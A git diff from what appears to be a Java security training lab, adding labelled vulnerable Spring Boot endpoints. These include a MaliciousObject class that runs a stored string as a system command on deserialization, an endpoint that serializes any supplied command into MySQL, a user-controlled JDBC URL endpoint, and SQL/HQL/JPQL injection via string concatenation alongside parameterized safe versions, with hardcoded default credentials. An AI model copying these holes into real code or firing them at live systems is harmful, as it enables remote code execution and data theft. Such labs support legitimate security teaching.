org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; +import top.whgojp.modules.springboot.entity.MaliciousObject; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.sql.*; /** * @description java专题-SpringBoot相关漏洞 @@ -23,4 +34,82 @@ public String springboot() { return "vul/springboot/springboot"; } + @Value("${spring.datasource.url:jdbc:mysql://localhost:13306/JavaSecLab}") + String url = ""; + @Value("${spring.datasource.username:jdbc:root}") + String username = ""; + @Value("${spring.datasource.password:jdbc:QWE123qwe}") + String password = ""; + + @RequestMapping("/jdbc") + @ResponseBody + public R jdbc() { + try { + Connection conn = DriverManager.getConnection(url, username, password); + String selectQuery = "SELECT malicious_object FROM objects WHERE id = 1"; + Statement stmt = conn.createStatement(); + ResultSet rs = stmt.executeQuery(selectQuery); + + if (rs.next()) { + byte[] maliciousObjectBytes = rs.getBytes("malicious_object"); + // 反序列化恶意对象 + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(maliciousObjectBytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + + MaliciousObject maliciousObject = (MaliciousObject) objectInputStream.readObject(); + + log.info("触发MYSQL-JBDC反序列化漏洞!"); + } + + stmt.close(); + conn.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + return R.ok("触发MYSQL-JBDC反序列化漏洞!"); + } + + @RequestMapping("/insert") + @ResponseBody + public R insertMaliciousObject(@RequestParam String command) { + try { + MaliciousObject maliciousObject = new MaliciousObject(command); + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(maliciousObject); + byte[] objectBytes = baos.toByteArray(); + + Connection conn = DriverManager.getConnection(url, username, password); + String insertQuery = "INSERT INTO objects (id, malicious_object) VALUES (?, ?)"; + PreparedStatement stmt = conn.prepareStatement(insertQuery); + stmt.setInt(1, 1); + stmt.setBytes(2, objectBytes); + stmt.executeUpdate(); + stmt.close(); + conn.close(); + + return R.ok("恶意对象插入成功!"); + } catch (Exception e) { + e.printStackTrace(); + return R.error("恶意对象插入失败(主键冲突的话在请数据库中删除该记录):" + e.getMessage()); + } + } + + @RequestMapping("/vul") + @ResponseBody + public R vul(String url, String username, String password) { + + try { +// Class.forName("com.mysql.jdbc.Driver"); + Class.forName("com.mysql.cj.jdbc.Driver"); + DriverManager.getConnection(url,username,password); + } catch (Exception e) { + e.printStackTrace(); + } + return R.ok(); + } + + } diff --git a/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java b/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java new file mode 100644 index 0000000..34ed3cd --- /dev/null +++ b/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java @@ -0,0 +1,21 @@ +package top.whgojp.modules.springboot.entity; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +public class MaliciousObject implements Serializable { + private String command; + + public MaliciousObject(String command) { + this.command = command; + } + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + String command = (String) in.readObject(); + if (command != null) { + Runtime.getRuntime().exec(command); + } + } + +} diff --git a/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java new file mode 100644 index 0000000..878f1e3 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java @@ -0,0 +1,112 @@ +package top.whgojp.modules.sqli.config; + +import com.alibaba.druid.pool.DruidDataSource; +import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource; +import org.springframework.orm.jpa.JpaTransactionManager; +import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean; +import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter; + +import javax.persistence.EntityManagerFactory; +import javax.sql.DataSource; +import java.util.HashMap; +import java.util.Map; + +@Configuration +public class DynamicDataSourceConfig { + + @Bean + @Primary + @ConfigurationProperties("spring.datasource.primary") + public DataSourceProperties dataSourceProperties() { + return new DataSourceProperties(); + } + + @Bean + @Primary + public DataSource dataSource(DataSourceProperties dataSourceProperties) { + AbstractRoutingDataSource dataSource = new AbstractRoutingDataSource() { + @Override + protected Object determineCurrentLookupKey() { + return DynamicDataSourceContextHolder.getDataSourceType(); + } + }; + + DruidDataSource primaryDataSource = new DruidDataSource(); + primaryDataSource.setUrl(dataSourceProperties.getUrl()); + primaryDataSource.setUsername(dataSourceProperties.getUsername()); + primaryDataSource.setPassword(dataSourceProperties.getPassword()); + primaryDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + primaryDataSource.setInitialSize(5); + primaryDataSource.setMinIdle(5); + primaryDataSource.setMaxActive(20); + primaryDataSource.setMaxWait(30000); + primaryDataSource.setValidationQuery("SELECT 1 FROM DUAL"); + primaryDataSource.setTestWhileIdle(true); + primaryDataSource.setTimeBetweenEvictionRunsMillis(60000); + primaryDataSource.setMinEvictableIdleTimeMillis(300000); + primaryDataSource.setPoolPreparedStatements(true); + primaryDataSource.setMaxPoolPreparedStatementPerConnectionSize(20); + primaryDataSource.setLogAbandoned(true); + primaryDataSource.setRemoveAbandoned(true); + primaryDataSource.setRemoveAbandonedTimeout(180); + + DruidDataSource secondaryDataSource = new DruidDataSource(); + secondaryDataSource.setUrl(dataSourceProperties.getUrl()); + secondaryDataSource.setUsername(dataSourceProperties.getUsername()); + secondaryDataSource.setPassword(dataSourceProperties.getPassword()); + secondaryDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + secondaryDataSource.setInitialSize(5); + secondaryDataSource.setMinIdle(5); + secondaryDataSource.setMaxActive(20); + secondaryDataSource.setMaxWait(30000); + secondaryDataSource.setValidationQuery("SELECT 1 FROM DUAL"); + secondaryDataSource.setTestWhileIdle(true); + secondaryDataSource.setTimeBetweenEvictionRunsMillis(60000); + secondaryDataSource.setMinEvictableIdleTimeMillis(300000); + secondaryDataSource.setPoolPreparedStatements(true); + secondaryDataSource.setMaxPoolPreparedStatementPerConnectionSize(20); + secondaryDataSource.setLogAbandoned(true); + secondaryDataSource.setRemoveAbandoned(true); + secondaryDataSource.setRemoveAbandonedTimeout(180); + + Map targetDataSources = new HashMap<>(); + targetDataSources.put("primary", primaryDataSource); + targetDataSources.put("secondary", secondaryDataSource); + + dataSource.setTargetDataSources(targetDataSources); + dataSource.setDefaultTargetDataSource(primaryDataSource); + + return dataSource; + } + + @Bean + @Primary + public LocalContainerEntityManagerFactoryBean entityManagerFactory(DataSource dataSource) { + LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean(); + em.setDataSource(dataSource); + em.setPackagesToScan("top.whgojp.modules.sqli.entity"); + + HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter(); + em.setJpaVendorAdapter(vendorAdapter); + + Map properties = new HashMap<>(); + properties.put("hibernate.hbm2ddl.auto", "update"); + properties.put("hibernate.dialect", "org.hibernate.dialect.MySQL8Dialect"); + em.setJpaPropertyMap(properties); + + return em; + } + + @Bean(name = "jpaTransactionManager") + @Primary + public JpaTransactionManager jpaTransactionManager(EntityManagerFactory emf) { + JpaTransactionManager transactionManager = new JpaTransactionManager(); + transactionManager.setEntityManagerFactory(emf); + return transactionManager; + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java new file mode 100644 index 0000000..02f50cf --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java @@ -0,0 +1,17 @@ +package top.whgojp.modules.sqli.config; + +public class DynamicDataSourceContextHolder { + private static final ThreadLocal contextHolder = new ThreadLocal<>(); + + public static void setDataSourceType(String dataSourceType) { + contextHolder.set(dataSourceType); + } + + public static String getDataSourceType() { + return contextHolder.get(); + } + + public static void clearDataSourceType() { + contextHolder.remove(); + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java b/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java new file mode 100644 index 0000000..24c7871 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java @@ -0,0 +1,52 @@ +package top.whgojp.modules.sqli.config; + +import org.hibernate.SessionFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.orm.hibernate5.HibernateTemplate; +import org.springframework.orm.hibernate5.HibernateTransactionManager; +import org.springframework.orm.hibernate5.LocalSessionFactoryBean; +import org.springframework.transaction.PlatformTransactionManager; + +import javax.sql.DataSource; +import java.util.Properties; + +@Configuration +public class HibernateConfig { + + @Autowired + private DataSource dataSource; + + @Bean + public LocalSessionFactoryBean sessionFactory() { + LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean(); + sessionFactory.setDataSource(dataSource); + sessionFactory.setPackagesToScan("top.whgojp.modules.sqli.entity"); + + Properties hibernateProperties = new Properties(); + hibernateProperties.setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect"); + hibernateProperties.setProperty("hibernate.show_sql", "true"); + hibernateProperties.setProperty("hibernate.format_sql", "true"); + hibernateProperties.setProperty("hibernate.hbm2ddl.auto", "update"); + hibernateProperties.setProperty("hibernate.current_session_context_class", "thread"); + hibernateProperties.setProperty("hibernate.transaction.jta.platform", "org.hibernate.engine.transaction.jta.platform.internal.NoJtaPlatform"); + + sessionFactory.setHibernateProperties(hibernateProperties); + return sessionFactory; + } + + @Bean + public HibernateTemplate hibernateTemplate(SessionFactory sessionFactory) { + HibernateTemplate hibernateTemplate = new HibernateTemplate(); + hibernateTemplate.setSessionFactory(sessionFactory); + return hibernateTemplate; + } + + @Bean + public PlatformTransactionManager transactionManager(SessionFactory sessionFactory) { + HibernateTransactionManager transactionManager = new HibernateTransactionManager(); + transactionManager.setSessionFactory(sessionFactory); + return transactionManager; + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java b/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java index babf5e3..16c04d1 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java @@ -2,23 +2,14 @@ import io.swagger.annotations.*; import lombok.extern.slf4j.Slf4j; -import org.hibernate.Session; -import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.orm.hibernate5.HibernateTemplate; import org.springframework.stereotype.Controller; +import org.springframework.transaction.annotation.Transactional; import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; -import top.whgojp.modules.sqli.entity.Hsqli; import top.whgojp.modules.sqli.entity.Sqli; -import top.whgojp.modules.system.entity.User; -import javax.transaction.SystemException; -import javax.transaction.Transaction; -import javax.transaction.Transactional; -import java.sql.Connection; -import java.sql.DriverManager; -import java.sql.ResultSet; -import java.sql.Statement; import java.util.List; /** @@ -27,101 +18,116 @@ * @email: whgojp@foxmail.com * @Date: 2024/4/28 10:13 */ -@Api(value = "HibernateController",tags = "SQL注入-Hibernate") +@Api(value = "HibernateController", tags = "SQL注入-Hibernate") @Slf4j @Controller @RequestMapping("/sqli/hibernate") public class HibernateController { @RequestMapping("") - public String sqliJdbc(){ + public String sqliHibernate() { return "vul/sqli/hibernate"; } - @Autowired - private SessionFactory sessionFactory; // 依赖注入 Hibernate SessionFactory + @Autowired(required = true) + private HibernateTemplate hibernateTemplate; + String message = ""; - @ApiOperation(value = "漏洞环境:Hibernate-原生SQL语句拼接", notes = "演示SQL注入风险,模拟原生SQL语句动态拼接,参数未进行任何处理,存在严重安全风险") - @GetMapping("/vul") - @ApiImplicitParams({ - @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "username", value = "用户名", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) - }) + @RequestMapping("/vul1") @ResponseBody - @Transactional // 使用Spring的事务管理 - public R vul( - @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, - @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, - @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, - @ApiParam(name = "password", value = "密码") @RequestParam(required = false) String password) { - - Session session = sessionFactory.getCurrentSession(); // 获取当前 Session - String message; - + @ApiOperation(value = "原生SQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul1(@RequestParam String username) { try { - switch (type) { - case "add": // 插入操作,存在SQL注入风险点 - // 新建用户对象并设置属性(未对输入进行任何过滤) - Hsqli newHsqli = new Hsqli(); - newHsqli.setUsername(username); - newHsqli.setPassword(password); - - // 直接保存对象到数据库 - session.save(newHsqli); - message = "数据插入成功 username:" + username + " password:" + password; // 直接拼接输出 - log.info(message); - return R.ok(message); - - case "delete": // 删除操作,注意此处可能引发SQL注入 - Hsqli deleteHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用用户传入的id(未过滤) - if (deleteHsqli != null) { - session.delete(deleteHsqli); - message = "数据删除成功"; - } else { - message = "数据删除失败 用户ID:" + id + " 不存在!"; - } - log.info(message); - return R.ok(message); - - case "update": // 更新操作,存在SQL注入风险点 - Hsqli updateHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用用户输入的id - if (updateHsqli != null) { - // 设置更新后的值(未对输入值进行过滤或校验) - updateHsqli.setUsername(username); - updateHsqli.setPassword(password); - session.update(updateHsqli); - message = "数据更新成功"; - } else { - message = "数据更新失败 用户ID不存在!"; - } - log.info(message); - return R.ok(message); - - case "select": // 查询操作,可能通过ID引入SQL注入 - Hsqli selectHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用传入ID直接查询 - if (selectHsqli != null) { - message = "查询成功,用户名:" + selectHsqli.getUsername() + " 密码:" + selectHsqli.getPassword(); - } else { - message = "用户ID不存在"; - } - log.info(message); - return R.ok(message); - - default: - // 当type字段未匹配时,返回错误信息 - return R.error("type字段有误:传输数据异常,请检查^_^"); + String sql = "SELECT * FROM sqli WHERE username = '" + username + "'"; + List results = hibernateTemplate.execute(session -> + session.createNativeQuery(sql) + .addScalar("id", org.hibernate.type.IntegerType.INSTANCE) + .addScalar("username", org.hibernate.type.StringType.INSTANCE) + .addScalar("password", org.hibernate.type.StringType.INSTANCE) + .list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Object[] row : results) { + sb.append("ID: ").append(row[0]) + .append(", 用户名: ").append(row[1]) + .append(", 密码: ").append(row[2]) + .append("\n"); } - } catch (NumberFormatException e) { - log.error("ID格式错误:" + e.getMessage()); - return R.error("ID格式错误:" + e.getMessage()); + message = sb.toString(); + log.info(message); + return R.ok(message); } catch (Exception e) { - log.error("操作失败:" + e.toString()); - return R.error(e.toString()); + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); } } + @RequestMapping("/vul2") + @ResponseBody + @ApiOperation(value = "HQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul2(@RequestParam String username) { + try { + String hql = "FROM Sqli WHERE username = '" + username + "'"; + List results = hibernateTemplate.execute(session -> + session.createQuery(hql).list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } - - + @RequestMapping("/safe") + @ResponseBody + @ApiOperation(value = "安全查询场景") + @Transactional(rollbackFor = Exception.class) + public R safe(@RequestParam String username) { + try { + String hql = "FROM Sqli WHERE username = :username"; + List results = hibernateTemplate.execute(session -> + session.createQuery(hql) + .setParameter("username", username) + .list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } } diff --git a/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java b/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java index 3ddf9d5..2c1ebc9 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java @@ -1,24 +1,102 @@ package top.whgojp.modules.sqli.controller; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.*; +import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.annotation.AuthIgnore; +import top.whgojp.common.utils.R; +import top.whgojp.modules.sqli.entity.Sqli; + +import javax.persistence.EntityManager; +import javax.persistence.PersistenceContext; +import javax.persistence.Query; +import javax.persistence.criteria.CriteriaBuilder; +import javax.persistence.criteria.CriteriaQuery; +import javax.persistence.criteria.Root; +import java.util.List; /** - * @description ORM框架-JPA下的sql注入问题 + * @description JPA SQL注入漏洞演示 * @author: whgojp * @email: whgojp@foxmail.com - * @Date: 2024/4/28 10:20 + * @Date: 2024/4/28 10:13 */ -@Api(value = "JPAController",tags = "SQL注入3-JPA") +@Api(value = "JpaController", tags = "SQL注入-JPA") +@Slf4j @Controller @RequestMapping("/sqli/jpa") public class JPAController { @RequestMapping("") - public String sqliJdbc(){ + public String sqliJpa() { return "vul/sqli/jpa"; } -} + + @PersistenceContext + private EntityManager entityManager; + String message = ""; + + @RequestMapping("/vul1") + @ResponseBody + @AuthIgnore + @ApiOperation(value = "JPQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul1(@RequestParam String username) { + try { + String jpql = "SELECT s FROM Sqli s WHERE s.username = '" + username + "'"; + Query query = entityManager.createQuery(jpql); + List results = query.getResultList(); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } + + + @RequestMapping("/safe") + @ResponseBody + @ApiOperation(value = "安全查询场景") + @Transactional(rollbackFor = Exception.class) + public R safe(@RequestParam String username) { + try { + String jpql = "SELECT s FROM Sqli s WHERE s.username = :username"; + Query query = entityManager.createQuery(jpql) + .setParameter("username", username); + List results = query.getResultList(); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java b/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java index 467dad4..b099981 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java @@ -40,11 +40,11 @@ public class JdbcController { private CheckUserInput checkUserInput; //指定数据库地址、用户名、密码 - @Value("${spring.datasource.url}") + @Value("${spring.datasource.primary.url}") private String dbUrl; - @Value("${spring.datasource.username}") + @Value("${spring.datasource.primary.username}") private String dbUser; - @Value("${spring.datasource.password}") + @Value("${spring.datasource.primary.password}") private String dbPass; @@ -63,8 +63,8 @@ public String sqliJdbcSpecial() { return "vul/sqli/JdbcSpecial"; } - @ApiOperation(value = "漏洞环境:JDBC-原生SQL语句拼接", notes = "原生sql语句动态拼接 参数未进行任何处理") - @GetMapping("/a-vul1-raw-joint") + @ApiOperation(value = "漏洞场景:JDBC-原生SQL语句拼接", notes = "原生sql语句动态拼接 参数未进行任何处理") + @GetMapping("/vul1") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), // 注意这里id是String类型 @@ -72,7 +72,7 @@ public String sqliJdbcSpecial() { @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody - public R vul1RawJoint( + public R vul1( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -161,8 +161,8 @@ public R vul1RawJoint( * 常用ORM框架:Hibernate、MyBatis、JPA */ - @ApiOperation(value = "漏洞环境:JDBC-预编译拼接", notes = "虽然使用了 conn.prepareStatement(sql) 创建了一个 PreparedStatement 对象,但在执行 stmt.executeUpdate(sql) 时,却是传递了完整的 SQL 语句作为参数,而不是使用了预编译的功能") - @GetMapping("/a-vul2-prepareStatement-joint") + @ApiOperation(value = "漏洞场景:JDBC-预编译拼接", notes = "虽然使用了 conn.prepareStatement(sql) 创建了一个 PreparedStatement 对象,但在执行 stmt.executeUpdate(sql) 时,却是传递了完整的 SQL 语句作为参数,而不是使用了预编译的功能") + @GetMapping("/vul2") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -170,7 +170,7 @@ public R vul1RawJoint( @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody - public R vul2prepareStatementJoint( + public R vul2( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -205,7 +205,7 @@ public R vul2prepareStatementJoint( log.info(message); return R.ok(message); case "update": - sql = "UPDATE sqli set password = '" + password + "' where id = '" + id + "'"; + sql = "UPDATE sqli SET username = '" + username + "', password = '" + password + "' WHERE id = '" + id + "'"; log.info("当前执行数据更新操作:" + sql); stmt = conn.prepareStatement(sql); rowsAffected = stmt.executeUpdate(sql); @@ -241,8 +241,8 @@ public R vul2prepareStatementJoint( } } - @ApiOperation(value = "漏洞环境:JdbcTemplate-SQL语句拼接", notes = "JDBCTemplate是Spring对JDBC的封装,底层实现实际上还是JDBC") - @GetMapping("/a-vul3-JdbcTemplate-joint") + @ApiOperation(value = "漏洞场景:JdbcTemplate-SQL语句拼接", notes = "JDBCTemplate是Spring对JDBC的封装,底层实现实际上还是JDBC") + @GetMapping("/vul3") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -250,7 +250,7 @@ public R vul2prepareStatementJoint( @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody - public R vul3JdbcTemplateJoint( + public R vul3( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -282,7 +282,7 @@ public R vul3JdbcTemplateJoint( log.info(message); return R.ok(message); case "update": - sql = "UPDATE sqli set password = '" + password + "' where id = '" + id + "'"; + sql = "UPDATE sqli SET username = '" + username + "', password = '" + password + "' WHERE id = '" + id + "'"; log.info("当前执行数据更新操作:" + sql); rowsAffected = jdbctemplate.update(sql); message = (rowsAffected > 0) ? "数据更新成功" : "数据更新失败 用户ID不存在!"; @@ -316,7 +316,7 @@ public R vul3JdbcTemplateJoint( } @ApiOperation(value = "安全代码:JDBC预编译", notes = "采用预编译的方法,使用?占位,也叫参数化的SQL") - @GetMapping("/b-safe1-PrepareStatement-Parametric") + @GetMapping("/safe1") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -324,7 +324,7 @@ public R vul3JdbcTemplateJoint( @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody - public R safe1PrepareStatementParametric( + public R safe1( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -364,11 +364,13 @@ public R safe1PrepareStatementParametric( log.info(message); return R.ok(message); case "update": - sql = "UPDATE sqli set password = ? where id = ?"; - log.info("当前执行数据更新操作:" + sql); + sql = "UPDATE sqli SET username = ?, password = ? WHERE id = ?"; + log.info("当前执行数据更新操作: " + sql); stmt = conn.prepareStatement(sql); - stmt.setString(1, password); - stmt.setString(2, id); + stmt.setString(1, username); + stmt.setString(2, password); + stmt.setString(3, id); + stmt.executeUpdate(); rowsAffected = stmt.executeUpdate(); stmt.close(); @@ -404,7 +406,7 @@ public R safe1PrepareStatementParametric( } @ApiOperation(value = "安全代码:JdbcTemplate预编译", notes = "JDBCTemplate预编译 此时在常规DML场景有效的防止了SQL注入攻击的发生") - @GetMapping("/b-safe2-JdbcTemplate-PrepareStatement-Parametric") + @GetMapping("/safe2") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -412,7 +414,7 @@ public R safe1PrepareStatementParametric( @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody - public R safe2JdbcTemplatePrepareStatementParametric( + public R safe2( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -444,9 +446,9 @@ public R safe2JdbcTemplatePrepareStatementParametric( log.info(message); return R.ok(message); case "update": - sql = "UPDATE sqli set password = ? where id = ?"; + sql = "UPDATE sqli SET username = ?, password = ? WHERE id = ?"; log.info("当前执行数据更新操作:" + sql); - rowsAffected = jdbctemplate.update(sql, username, id); + rowsAffected = jdbctemplate.update(sql, username,password,id); message = (rowsAffected > 0) ? "数据更新成功" : "数据更新失败 用户ID不存在!"; log.info(message); return R.ok(message); @@ -481,8 +483,8 @@ public R safe2JdbcTemplatePrepareStatementParametric( @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) }) @ResponseBody - @GetMapping("/b-safe3-Blacklist-checkSqlBlackList") - public R safe3BlacklistcheckSqlBlackList( + @GetMapping("/safe3") + public R safe3( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -524,7 +526,7 @@ public R safe3BlacklistcheckSqlBlackList( return R.ok(message); } case "update": - if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(id)) { + if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) { log.warn("黑名单检测到非法SQL注入!"); return R.error("黑名单检测到非法SQL注入!"); } else { @@ -573,8 +575,8 @@ public R safe3BlacklistcheckSqlBlackList( @ApiImplicitParam(name = "id", value = 